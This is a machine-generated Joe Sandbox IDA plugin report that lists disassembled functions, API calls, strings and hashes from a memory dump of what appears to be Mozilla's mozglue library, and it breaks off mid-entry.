Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C8D32D1
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C8D32E5
Part of subcall function 6C8D31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C8D32F7

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C8D3127
__aulldiv.LIBCMT ref: 6C8D3140

Strings

KpT{/, xrefs: 6C8D30FB

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$LibraryStamp@mozilla@@$AddressCreation@FreeInit_thread_footerInterruptLoadNow@ProcProcessQueryUnbiasedV12@V12@___aulldiv
String ID: KpT{/
API String ID: 3886099572-2391877073
Opcode ID: 665faa5d996e58881311626a2bb79be80d89276da78b901ac8ff25b61b9634e2
Instruction ID: afaa1513bb83af62965080d805361a61b9b791436af21402a535b9515570c994
Opcode Fuzzy Hash: 665faa5d996e58881311626a2bb79be80d89276da78b901ac8ff25b61b9634e2
Instruction Fuzzy Hash: BF11DA71B0D2058FDB44DF29C81169A77F1AB5A318FA4852DE59587B90D7309504C791

Function 6C930480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000080,?,?,?,?,?,?,?,?,?,?,?,?,6C93041E,?,6C9303C0), ref: 6C9304D8
InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C93041E), ref: 6C9304E3

Strings

KpT{/, xrefs: 6C930490

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc
String ID: KpT{/
API String ID: 1952960883-2391877073
Opcode ID: d24cf748c2f8c092be2a2f9b15a463a867057cbfc7167c96501dd2f3764ffdcb
Instruction ID: 19f5c778e68b6ca3144c3f0b3d798b706250dc1e9708fb23e8260abb5da8f7f0
Opcode Fuzzy Hash: d24cf748c2f8c092be2a2f9b15a463a867057cbfc7167c96501dd2f3764ffdcb
Instruction Fuzzy Hash: 4F21D771E087848AE7449F3D88413A5B7F4BFA9218F14A669DD8886223FB71D5D8C781

Function 6C90B320 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6C90B57E
___raise_securityfailure.LIBCMT ref: 6C90B665

Strings

KpT{/, xrefs: 6C90B646

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: KpT{/
API String ID: 3761405300-2391877073
Opcode ID: cd9ab6cf4cbab20cf1af1ccad663b50d85a8ce44aa20334a5e80bf91101b300b
Instruction ID: b9bf1a7a0f81484a93e2fc746930c150025187c27708374c7deadeae2379052b
Opcode Fuzzy Hash: cd9ab6cf4cbab20cf1af1ccad663b50d85a8ce44aa20334a5e80bf91101b300b
Instruction Fuzzy Hash: 5A2104B9B08200DAEF10DF15D1956547BF8FB4A354FB0446AF9088B790E3BA9584CF95

Function 6C8E43C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6C8E419B), ref: 6C8E442B
__Init_thread_footer.LIBCMT ref: 6C8E445E

Strings

KpT{/, xrefs: 6C8E43C9

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CurrentInit_thread_footerProcess
String ID: KpT{/
API String ID: 2722969572-2391877073
Opcode ID: 06025e142c662327d9bc1f16845531c51b000aa1cdd055748a4752126214417d
Instruction ID: 7d9839544f70b70debe1ee92a3774bc1bf4b2930c6712acbdee2bd87eb7eeeec
Opcode Fuzzy Hash: 06025e142c662327d9bc1f16845531c51b000aa1cdd055748a4752126214417d
Instruction Fuzzy Hash: 3611C631B091488FDB10DBE899599BF37B4EBDB628BA40879DC198B740DB319809C7A1

Function 6C9498D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9498DE

Part of subcall function 6C949830: ??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C94985D
Part of subcall function 6C949830: ?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C94987D

Part of subcall function 6C90CBE8: GetCurrentProcess.KERNEL32(?,6C8D31A7), ref: 6C90CBF1
Part of subcall function 6C90CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C8D31A7), ref: 6C90CBFA

Part of subcall function 6C904AA0: memset.VCRUNTIME140(?,00000000,00004014), ref: 6C904ACE

Strings

KpT{/, xrefs: 6C949839, 6C94991B
ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9498D9

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Printf$ProcessTarget@mozilla@@$?vprint@CrashCurrentTerminatememset
String ID: ElementAt(aIndex = %zu, aLength = %zu)$KpT{/
API String ID: 811957328-1081881796
Opcode ID: 6406a6d935d40476ada35aa87059c792248c5c415c4b9fc5f5e8209bd76a3d83
Instruction ID: 1da88d7541197044299d9f6609990cd1fd4ddecd6984213d997fcb141cd99226
Opcode Fuzzy Hash: 6406a6d935d40476ada35aa87059c792248c5c415c4b9fc5f5e8209bd76a3d83
Instruction Fuzzy Hash: F6F0D176A00108ABDB109F59EC008EE77A9DBA8264F408018FE0967740D672EE14CBE1

Function 6C90F110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

?GetAccessibilityResource@ActCtxResource@mscom@mozilla@@SA?AU123@XZ.MOZGLUE(?,6C90D9F0,00000000), ref: 6C90F13D
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE(?,6C90D9F0,00000000), ref: 6C90F198

Strings

KpT{/, xrefs: 6C90F11E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: AccessibilityDown@mozilla@@LockedResource@Resource@mscom@mozilla@@U123@Win32k
String ID: KpT{/
API String ID: 1929277433-2391877073
Opcode ID: 8e36bbfbbb2878642efe18fb92add3f0f6fc40fb1061703e29bd338c3463437d
Instruction ID: 211a4d0a2039ee5cff163b223698f628c1d577f2e9824bbe7a913ad06aea89a9
Opcode Fuzzy Hash: 8e36bbfbbb2878642efe18fb92add3f0f6fc40fb1061703e29bd338c3463437d
Instruction Fuzzy Hash: BF1129317043058BC7208F29D94065BB7F6AFC935CF00093DC48A8BB42DB30DA0887A5

Function 6C937880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C93789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9378CF

Part of subcall function 6C8D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C8D4E5A
Part of subcall function 6C8D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C8D4E97

Part of subcall function 6C8D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C913EBD,6C913EBD,00000000), ref: 6C8D42A9

Strings

KpT{/, xrefs: 6C9377E0, 6C937894

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@strlen
String ID: KpT{/
API String ID: 1846559125-2391877073
Opcode ID: 8debfc572cb04807b92892518b78acbc793e0c83f9eeee9d0b8ad0aa1c66d7f2
Instruction ID: 840ee1ae02ea5ac2f2335e7d4c83b68bd994899da28a8d5823f970b29f33a69d
Opcode Fuzzy Hash: 8debfc572cb04807b92892518b78acbc793e0c83f9eeee9d0b8ad0aa1c66d7f2
Instruction Fuzzy Hash: 23115BB1A087468FC310DF29D48055AFBF4FF89254F504A2EE8A987780DB70E558CBD2

Function 6C921C60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,6C92759E,?,?), ref: 6C921CB4
free.MOZGLUE(?,?,?,?,?,?,6C92759E,?,?,?,?,?,?,?,?,?), ref: 6C921CE9

Strings

KpT{/, xrefs: 6C921C70

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_free
String ID: KpT{/
API String ID: 876075630-2391877073
Opcode ID: d5d0f69bff6e440b1e3abcc9e7a18f6a259c602eb050a88d0ae3493176efd642
Instruction ID: 189752cbc333adaa9e2e28ec3ae68acff723fd741a2b95b31bd98934e544347f
Opcode Fuzzy Hash: d5d0f69bff6e440b1e3abcc9e7a18f6a259c602eb050a88d0ae3493176efd642
Instruction Fuzzy Hash: 3011BF35910B059BC321CF29C940696B7F4BF9A328F40462DD9A997B40EB32F968CB80

Function 6C920E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C920E16

Part of subcall function 6C90FA80: GetCurrentThreadId.KERNEL32 ref: 6C90FA8D
Part of subcall function 6C90FA80: AcquireSRWLockExclusive.KERNEL32(6C95F448), ref: 6C90FA99

ReleaseSRWLockExclusive.KERNEL32 ref: 6C920E45

Strings

KpT{/, xrefs: 6C920E0C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ExclusiveLock$?profiler_get_core_buffer@baseprofiler@mozilla@@AcquireBuffer@2@ChunkedCurrentProfileReleaseThread
String ID: KpT{/
API String ID: 488134835-2391877073
Opcode ID: c88c0be825e54af29416a93482dfc131f9c5da034468ba7db38b475b05473059
Instruction ID: 576b9cb7a192cc60966652a282bdbf50563c8dbb205cd93912606bc76fc241c3
Opcode Fuzzy Hash: c88c0be825e54af29416a93482dfc131f9c5da034468ba7db38b475b05473059
Instruction Fuzzy Hash: B31151B16083448FCB00DF29D44529FBBF4EF99328F94882DE88997700D730D888CBA2

Function 6C8E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C8E44B2,6C95E21C,6C95F7F8), ref: 6C8E473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C8E474A

Strings

GetNtLoaderAPI, xrefs: 6C8E4744

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 03d80665958695daeb5df35c6f56357bb7dbec30bc1e045aba9ffa66d932fcfb
Instruction ID: 8d4f34c90068a148d8f1108302d01eada6840ed0ec6427e8a1bdcad05af7d0a6
Opcode Fuzzy Hash: 03d80665958695daeb5df35c6f56357bb7dbec30bc1e045aba9ffa66d932fcfb
Instruction Fuzzy Hash: 17019E753093588FDF01AFA698846297BB9EBCF361B290469EA0AC7740CB74D801CFD1

Function 6C936F80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE ref: 6C936FAA

Part of subcall function 6C936A10: InitializeCriticalSection.KERNEL32(6C95F618), ref: 6C936A68
Part of subcall function 6C936A10: GetCurrentProcess.KERNEL32 ref: 6C936A7D
Part of subcall function 6C936A10: GetCurrentProcess.KERNEL32 ref: 6C936AA1
Part of subcall function 6C936A10: EnterCriticalSection.KERNEL32(6C95F618), ref: 6C936AAE
Part of subcall function 6C936A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C936AE1
Part of subcall function 6C936A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C936B15
Part of subcall function 6C936A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C936B65
Part of subcall function 6C936A10: LeaveCriticalSection.KERNEL32(6C95F618,?,?), ref: 6C936B83

MozFormatCodeAddress.MOZGLUE ref: 6C936FF0

Strings

KpT{/, xrefs: 6C936F92

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave
String ID: KpT{/
API String ID: 1067246555-2391877073
Opcode ID: a93424675bc7d91dc53928fad831cb35e3354d8a8e753ed347fceae83884b5c7
Instruction ID: 0ca589d1286889715278e702630dd7446637314c4aef95cc77080b0ce91d159d
Opcode Fuzzy Hash: a93424675bc7d91dc53928fad831cb35e3354d8a8e753ed347fceae83884b5c7
Instruction Fuzzy Hash: 5511FB759083198BCB04DF59D4845AEB7F4FF98304F00846EE88D97350D734AA49CF92

Function 6C8EBE40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32 ref: 6C8EBE64
__aulldiv.LIBCMT ref: 6C8EBE86

Strings

KpT{/, xrefs: 6C8EBE4D

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: InterruptQueryTimeUnbiased__aulldiv
String ID: KpT{/
API String ID: 218403179-2391877073
Opcode ID: 5b6e448bbaf75c5e6735650a7519a1dbec3fe78f01014efe3b10f43ee30dc03d
Instruction ID: f49ed0d6affdb18e1a28795e97914db4d62d25690ee5add996e0b72108354767
Opcode Fuzzy Hash: 5b6e448bbaf75c5e6735650a7519a1dbec3fe78f01014efe3b10f43ee30dc03d
Instruction Fuzzy Hash: EE014930B09306AFCB109F38C9457567BF4DF5A328F708A5DEAA4836D1D770A494C781

Function 6C920BE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

?profiler_capture_backtrace@baseprofiler@mozilla@@YA?AV?$UniquePtr@VProfileChunkedBuffer@mozilla@@V?$DefaultDelete@VProfileChunkedBuffer@mozilla@@@2@@2@XZ.MOZGLUE(?), ref: 6C920BFA
moz_xmalloc.MOZGLUE(00000028), ref: 6C920C24

Strings

KpT{/, xrefs: 6C920BEC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: ChunkedProfile$?profiler_capture_backtrace@baseprofiler@mozilla@@Buffer@mozilla@@Buffer@mozilla@@@2@@2@DefaultDelete@Ptr@Uniquemoz_xmalloc
String ID: KpT{/
API String ID: 1190572063-2391877073
Opcode ID: 447fdfd3f1991f459d806f6e23e5ae1d5191a2a8b30a0c9d4d112c7db979561e
Instruction ID: 8823abcc51572e8c93d97306da6357bc73a75a7d248abc9448825563dc8953a0
Opcode Fuzzy Hash: 447fdfd3f1991f459d806f6e23e5ae1d5191a2a8b30a0c9d4d112c7db979561e
Instruction Fuzzy Hash: A801DBF1E002099BDB009F68E8826AFFBB4FB84258F104439C8495B700EB30E958CBD2

Function 6C93A2A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

?toString@Decimal@blink@@QBE?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ.MOZGLUE(?), ref: 6C93A2BA
memcpy.VCRUNTIME140(?,?,?,?,?), ref: 6C93A2E2

Strings

KpT{/, xrefs: 6C93A2AC

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: D@2@@std@@D@std@@Decimal@blink@@String@U?$char_traits@V?$allocator@V?$basic_string@memcpy
String ID: KpT{/
API String ID: 919886186-2391877073
Opcode ID: 9033f0524871bf2d72babe26f1e8614934a3d13339042d89bb455e3ae4888804
Instruction ID: b8401a195a28349683a9add1d6f88fcc79cc8263af40e3df3a748a02063d47e9
Opcode Fuzzy Hash: 9033f0524871bf2d72babe26f1e8614934a3d13339042d89bb455e3ae4888804
Instruction Fuzzy Hash: DD01F4327042189BCB219FA8D8809FFBBB6EF99214F840529E4466B740DB31A90DC7E5

Function 6C92E850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C92E878

Part of subcall function 6C8F5C50: GetTickCount64.KERNEL32 ref: 6C8F5D40
Part of subcall function 6C8F5C50: EnterCriticalSection.KERNEL32(6C95F688), ref: 6C8F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C92E8AC

Strings

KpT{/, xrefs: 6C92E85E

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: StampTimeV01@@Value@mozilla@@$Count64CriticalEnterSectionTick
String ID: KpT{/
API String ID: 1404550236-2391877073
Opcode ID: a4018597687c24559bd4668ddcbec34d89fc42fbc96d4eb5d3b70fcaa23d179c
Instruction ID: 8fbbd9cd1723ea6c85681d001124421e152d3d80ff7de417e9b67e53e48bc1e2
Opcode Fuzzy Hash: a4018597687c24559bd4668ddcbec34d89fc42fbc96d4eb5d3b70fcaa23d179c
Instruction Fuzzy Hash: 4FF04C21B24344539720CF7D9C814EBBBF9DFD9264B61432EE85053700FB7165CA42D1

Function 6C936D30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE(#%02u: ??? (???:???),?,?,?,?,6C936CA1), ref: 6C936D51
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?,#%02u: ??? (???:???),?,?,?,?,6C936CA1), ref: 6C936D6B

Strings

KpT{/, xrefs: 6C936D3C

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@
String ID: KpT{/
API String ID: 2004917493-2391877073
Opcode ID: fd46b368730dc6a577af533385b33c14f87abca307414f30115eec77fca9ffda
Instruction ID: 13bfc9b6deaba9eb706afcf027f119481f4f91cd2da2844535ac1c4b38020a64
Opcode Fuzzy Hash: fd46b368730dc6a577af533385b33c14f87abca307414f30115eec77fca9ffda
Instruction Fuzzy Hash: C3011D71B002199FCB109F59C8909DFBBF8EF98654B51845EE8599B701DA31AD058BD0

Function 6C8E9B00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C8E081B), ref: 6C8E9B60
__Init_thread_footer.LIBCMT ref: 6C8E9B73

Strings

KpT{/, xrefs: 6C8E9B07

Memory Dump Source

Source File: 00000007.00000002.2669033602.000000006C8D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C8D0000, based on PE: true

Associated: 00000007.00000002.2669004056.000000006C8D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669122689.000000006C94D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669159740.000000006C95E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.2669190875.000000006C962000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c8d0000_eb98fe5174.jbxd

Similarity

